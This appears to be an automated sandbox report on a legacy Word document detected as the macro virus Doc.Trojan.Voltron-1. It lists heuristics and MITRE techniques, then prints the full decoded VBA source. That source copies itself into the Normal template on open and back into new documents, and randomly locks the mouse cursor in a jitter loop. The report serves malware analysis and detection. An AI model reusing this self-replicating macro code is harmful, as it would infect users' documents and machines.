MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros, including AutoOpen, AutoNew, and AutoClose, which are commonly used for malicious purposes. The AutoOpen macro attempts to copy its own macro code to the Normal.dot template, indicating an attempt at persistence. The ClamAV detection of 'Doc.Trojan.Voltron-1' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Voltron-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Voltron-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2267 bytes |
SHA-256: 62f0bb04f4af9cc29367ab195e5c0ecb37dad54510abaf2f65238736ae97dd5e |
|||
|
Detection
ClamAV:
Doc.Trojan.Voltron-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Option Explicit
Type POINTAPI
VoltronX1 As Long
VoltronY1 As Long
End Type
Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 00/00/00 by XXXXXX"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
On Error GoTo exiting
Application.OrganizerCopy _
Source:=ActiveDocument.Name, _
Destination:=NormalTemplate.FullName, Name:="NewMacros", _
Object:=wdOrganizerObjectProjectItems
Exit Sub
exiting:
End Sub
Sub AutoNew()
On Error GoTo exiting
Application.OrganizerCopy _
Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.Name, Name:="NewMacros", _
Object:=wdOrganizerObjectProjectItems
Call DoMyStuff
Exit Sub
exiting:
End Sub
Sub AutoClose()
On Error GoTo exiting
Application.OrganizerCopy _
Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.Name, Name:="NewMacros", _
Object:=wdOrganizerObjectProjectItems
Exit Sub
exiting:
End Sub
Sub DoMyStuff()
On Error GoTo exiting
Dim Voltron As POINTAPI
Dim VoltronV As Long
Dim VoltronX As Long
Dim VoltronY As Long
Dim VoltronA As Long
Dim VoltronR As Long
If Rnd * 100 > 1 Then
Exit Sub
Else
While Not 1
DoEvents
VoltronV = GetCursorPos(Voltron)
VoltronX = Voltron.VoltronX1
VoltronY = Voltron.VoltronY1
VoltronA = Int(Rnd * 4) + 1
Select Case VoltronA
Case Is = 1: VoltronX = VoltronX + 1
Case Is = 2: VoltronX = VoltronX - 1
Case Is = 3: VoltronY = VoltronY + 1
Case Is = 4: VoltronY = VoltronY - 1
End Select
VoltronR = SetCursorPos(VoltronX, VoltronY)
Wend
End If
exiting:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.